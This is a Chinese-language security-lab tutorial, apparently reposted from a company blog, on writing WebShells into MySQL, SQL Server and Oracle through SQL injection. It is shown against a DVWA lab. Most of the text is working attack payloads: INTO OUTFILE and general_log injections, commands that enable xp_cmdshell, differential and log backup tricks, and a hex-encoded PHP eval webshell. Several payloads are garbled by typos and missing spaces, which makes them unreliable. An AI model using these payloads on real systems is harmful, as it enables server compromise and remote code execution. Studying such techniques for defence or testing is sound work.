三大資料庫如何寫入WebShell?|美創安全實驗室
WebShell作為駭客常用來提權的工具,通常出現在存在任意檔案上傳漏洞的網站中,但如果遇到一個沒有任何的上傳點的網站,想透過檔案上傳漏洞獲得許可權顯然就行不通了,但所謂“山窮水盡疑無路,柳暗花明又一村”,此時一個SQL隱碼攻擊點擺在你眼前,你能否珍惜這來之不易的機會,拿到WebShell呢?
本期美創安全實驗室將帶大家瞭解,如何透過三大資料庫(MySQL、SqlServer、Oracle)獲取網站的WebShell。
MySQL寫入WebShell
01必備條件
想要成功向MySQL寫入WebShell需要至少滿足以下4個條件:
① 資料庫的當前使用者為ROOT或擁有FILE許可權;
② 知道網站目錄的絕對路徑;
③ PHP的GPC引數為off狀態;
④ MySQL中的secure_file_priv引數不能為NULL狀態。
注意:關於其中第4點,secure_file_priv引數是MySQL用來限制資料匯入和匯出操作的效果,如果這個引數被設為了一個目錄名,那麼MySQL會允許僅在這個目錄中可以執行檔案的匯入和匯出,例如LOAD DATA、SELECT。。。INTOOUTFILE、LOAD_FILE()等。如果這個引數為NULL,MySQL會禁止匯入匯出操作,但是這只是意味著透過outfile方法寫入WebShell是無法成功的,但是透過匯出日誌的方法是可以的。
02寫入方法
向MySQL寫入WebShell的方式一共有兩種,分別是:1、使用outfile方法,2、基於log日誌寫入法。
Outfile方法其實是MySQL提供的一個用來寫入檔案的函式,當我們可以控制寫入的檔案內容以及檔案的儲存路徑時,我們就可以達到傳入WebShell的目的。當我們可以使用union查詢時,我們構造一個如下語句,就可以達到效果:
Union select “這裡是WebShell” into outfile “Web目錄”;
當我們無法使用union時,還有一些其他方法也可以實現(利用分隔符寫入):
?id=1 INTO OUTFILE '物理路徑' lines terminatedby (這裡是WebShell)#
?id=1 INTO OUTFILE '物理路徑' fields terminatedby (這裡是WebShell)#
?id=1 INTO OUTFILE'物理路徑'columns terminatedby (這裡是WebShell)#
?id=1 INTO OUTFILE '物理路徑' lines startingby (這裡是WebShell)#
基於log日誌寫入的方法其實是先將日誌檔案的匯出目錄修改成Web目錄,然後執行了一次簡單的WebShell程式碼查詢功能,此時日誌檔案記錄了此過程,這樣再Web目錄下的日誌檔案就變成了WebShell。例如,我們先設定日誌檔案的匯出目錄:set global general_file=‘Web目錄’;然後執行一遍:select “WebShell程式碼”;即可。
03使用OUTFILE方法寫入Webshell
(1)實驗前準備
檢查secure_file_priv是否開啟:show variables like‘%secure%’;確認其不為NULL。有值或為空都可以。(若是為NULL,則需要到my.ini檔案中手動修改)
secure_file_priv是否開啟
檢查當前使用者是否具備寫許可權:selectuser,file_priv from mysql.user;確認其使用者的值為Y即代表此使用者擁有檔案寫入許可權。
使用者是否具備寫許可權
(2)確認注入點
http:/192.168.20.35/DVWA-master/vulnerabilities/sqli/?id=1;
引數ID存在SQL隱碼攻擊漏洞
http:/192.168.20.35/DVWA-master/vulnerabilities/sqli/?id=1’union select version(),user()#
確認注入點
(3)利用outfile寫入shell檔案
若secure_file_priv為空,則可以向任意目錄寫入檔案,若secure_file_priv有值,則只能向該值指向的目錄寫入檔案,因為我們的值為空,所以就任意目錄寫入,但因為還需要工具進行連線,所以最好放在網站的根目錄下。
PAYLOAD(使用Union查詢注入):1‘unionselect1,”” into outfile“F:\\PhpStudy20180211
\\PHPTutorial\\WWW\\Tp.ph p‘’#
PAYLOAD(不用Union):1’intooutfile“F:\\Php、Study2018021\\PHPTutorial\\WWW\\Tp.php” fields terminated by “”#
利用outfile寫入shell檔案
檔案已被寫入到網站的根目錄下,接下來就可以使用連線工具(蟻劍、菜刀、冰蠍等)進行連線了。
網站根目錄
04使用匯入日誌的方法寫入Webshell
(1)實驗前準備:
檢查當前MySQL下log日誌是否開啟,以及log的預設地址在哪裡:show variables like ‘%general%’;
檢查log日誌是否開啟
將log日誌開啟,並設定日誌的寫入位置:
Set globalgeneral_log = on;
Set globalgeneral_log_file=‘F:/test.php’;
設定日誌寫入位置
(2)使用寫入日誌再讀取的方法
直接在SQL隱碼攻擊點,使用查詢語句,新增WebShell程式碼,如下:
Select '';
此時這段WebShell程式碼已經被記錄到日誌檔案中了,接下就可以使用連線工具進行連線了。
使用寫入日誌再讀取的方法
SqlServer寫入WebShell
01必備條件
① 有相應的許可權db_owner
② 獲得Web目錄的絕對路徑
02寫入方法
向MSSQL寫入WebShell的方法一共有種:利用xp_cmdshell命令、差異備份寫入shell、log備份寫入shell。
03使用XP_cmdshell寫入Webshell
(1)實驗前準備:
首先我們需要查詢網站目錄的絕對路徑,查詢絕對路徑的方法有5種:
透過報錯資訊查詢;
透過目錄爆破猜解;
透過旁站的目錄確定;
透過儲存過程來搜尋;
透過讀取配置檔案查詢。
其中透過儲存過程來搜尋,SQLServer提供了兩種方法:xp_cmdshell和xp_dirtree
execute master..xp_dirtree ‘c:’;可以查出所有c:\下的檔案、目錄、子目錄。
查詢網站目錄的絕對路徑
在真實環境中時,我們執行execute可能並不能得到回顯資訊,但我們可以在注入點處新建一張表,然後將xp_dirtree查詢到的資訊插入其中,再查詢這張表即可得相應的絕對路徑了。
Xp_cmdshell是一個更為有效的查詢絕對路徑的函式,但是目前已經被SQLServer預設關閉了,但我們可以使用如下命令啟用這個選項。
EXEC sp_configure 'show advanced options',1;//允許修改高階引數RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;//開啟xp_cmdshell擴充套件RECONFIGURE;--
開啟xp_cmdshell擴充套件
開啟了xp_cmsshell之後我們就可以執行CMD命令了,例如:
for /r c:\%i in (1*.php) do @echo %i
就可以查詢c:\目錄下的所有符合1*.php的檔案,同理,在實際應用中,我們也是新建一個表,並將xp_cmdshell查詢到的資訊插入後,再次查詢即可。
執行CMD命令查詢
(2)使用xp_cmdshell寫入WebShell
我們可以透過xp_cmdshell執行系統CMD命令,例如我們可以使用CMD中的echo命令,將WebShell的程式碼寫入到網站目錄下,所以我們必須提前知道Web目錄的絕對路徑。
PAYLOAD:1’;execmaster..xp_cmdshell'echo^>F:\\PhpStudy20180211\\PHPTutorial\\WWW\\cmd.php';
Web目錄的絕對路徑
(3)使用差異備份寫入WebShell
首先對某一資料庫進行備份。
PAYLOAD:id=1’;backup database 庫名 to disk='F:\\PhpStudy20180211\\PHPTutorial\\WWW\\back.bak';
資料庫備份
其次將WebShell程式碼寫入資料庫中,
PAYLOAD:id=1’; create table cybk([cmd][image]);#建立一個新表
PAYLOAD:id=1’;insertintocybk(cmd)
vaues(0x3C3F706870206576616C28245F504F53545B2770617373275D293B203F3E);#將WebShell的程式碼轉換成ASCII碼
WebShell碼轉換成ASCII碼
最後將此資料庫進行差異備份,這樣其中就會包含剛剛寫入的WebShell程式碼。
PAYLOAD:id=1’; backup database library todisk='F:\\PhpStudy20180211\\PHPTutorial\\WWW\\cybk.php' WITHDIFFERENTIAL,FORMAT;
將此資料庫進行差異備份
寫入的WebShell程式碼
(4)使用log備份寫入WebShell
使用Log備份寫入WebShell的要求是他的資料庫已經備份過,而且要選擇完整模式的恢復模式,相比較差異備份而言,使用Log備份檔案會小的多。
首先需要將資料庫設定為完整恢復模式,然後建立一個新表,將WebShell用Ascii編碼後寫入其中,然後將該資料庫的日誌資訊匯出到Web目錄,即可。
將WebShell寫入新表
可在Web目錄下找到匯出的日誌檔案,其中包含了WebShell的程式碼。
檔案中WebShell的程式碼
ORACLE寫入WebShell
01必備條件
① 有DBA許可權
② 獲得Web目錄的絕對路徑
02寫入方法
向Oracle寫入WebShell的方法可以使用:檔案訪問包
03使用檔案訪問包方法寫入Webshell
首先我們需要建立一個ORACLE的目錄物件指向某一路徑,在真實環境中需要指向Web目錄下,在這裡我們將其指向/home/oracle這一路徑下。create or replace directory IST0_DIR as '/home/oracle';
建立ORACLE目錄物件
建立好後,我們需要對其進行一下授權過程,讓其能夠順利的寫入WebShell程式碼。
grant read, write on directory IST0_DIR tosystem;
然後寫入檔案,定義變數型別為utl_file.file_type,然後將WebShell的程式碼寫入此檔案中。
將WebShell程式碼寫入檔案
直接訪問該檔案,即可檢視到其中的WebShell程式碼,如果這個檔案是放置在Web目錄下的,那麼就可以被攻擊者成功利用。
WebShell程式碼
以上就是三大資料庫(MySQL、SqlServer、Oracle)寫入WebShell的正確姿勢,你掌握了嗎?本文轉自杭州美創科技有限公司公眾號(第59號),如需二次轉載,請諮詢marketing@mchz.com.cn。
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69973247/viewspace-2711851/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 美創安全實驗室 | Docker逃逸原理Docker
- 共建“醫療合規科技實驗室”,美創科技實力護航醫療資料安全
- 產學合作,三方共建!美創領銜的這所資料安全實驗室成立
- 寫資料庫實驗報告資料庫
- 如何將 EXCEL 資料寫入資料庫Excel資料庫
- 資料庫實驗室挑戰任務-2資料庫
- 資料庫實驗五 資料庫的安全性資料庫
- 7月勒索病毒報告:Globelmposter勒索病毒活動增強|美創安全實驗室
- 青藤雲安全入選“證券期貨業網路和資料安全實驗室”安全合作伙伴
- 美創資料庫審計助力中原銀行資料安全建設資料庫
- 資料庫實驗室挑戰任務-3(阿里雲)資料庫阿里
- 科藍軟體SUNDB資料庫實力入選人行金融信創生態實驗室《金融信創解決方案(第一批)》資料庫
- 資料庫實驗室挑戰任務-初級任務資料庫
- 美創穫IDC資料庫安全市場代表廠商推薦,一路引領資料庫安全資料庫
- 美創科技第59號安全實驗室最新力作!《內網滲透實戰攻略》出版發行內網
- 美創科技以資料為中心的安全治理實踐
- 醫療資料安全實踐示範!美創科技案例入選IDC PeerScape報告
- 【繁星Code】如何在EF將實體註釋寫入資料庫中資料庫
- 美創科技四個行業資料安全治理實踐案例行業
- 美創成為首批信通院資料安全產品技術能力驗證計劃企業,實力領跑資料安全
- 資料庫實驗二資料庫
- 資料安全專精型廠商 | 美創入選《2022資料安全產業競合力洞察報告》產業
- 《資料安全法》實施|美創開啟“資料安全建設實踐諮詢”專項行動
- 領跑資料安全 | 美創科技入選《中國網路安全企業100強》
- 資料安全峰會2022 | 美創DSM獲頒“資料安全產品能力驗證計劃”評測證書
- 從實驗室的資料單向匯出,如何防止員工資料夾帶?
- 南方資料企業網站(資料庫備份拿webshell)網站資料庫Webshell
- 2020年實驗室安全准入考試
- 美創資料庫防水壩助力泰安市婦幼保健院資料安全建設資料庫
- 方案|美創科技資料庫國產信創改造方案資料庫
- 資料庫實驗五:資料庫程式設計資料庫程式設計
- 資料庫實驗八 資料庫程式設計資料庫程式設計
- 人設崩塌的美國生物實驗室
- 美創科技入圍2020網路安全能力百強,榮獲資料安全10強
- 銀行資料安全治理案例(一)——美創科技
- 美創資料安全管理平臺獲信通院“資料安全產品能力驗證計劃”評測證書
- 美創解讀|《資料安全法》實施,企業資料安全合規技術能力建設
- 時序資料庫QuestDB是如何實現每秒140萬行的寫入速度?資料庫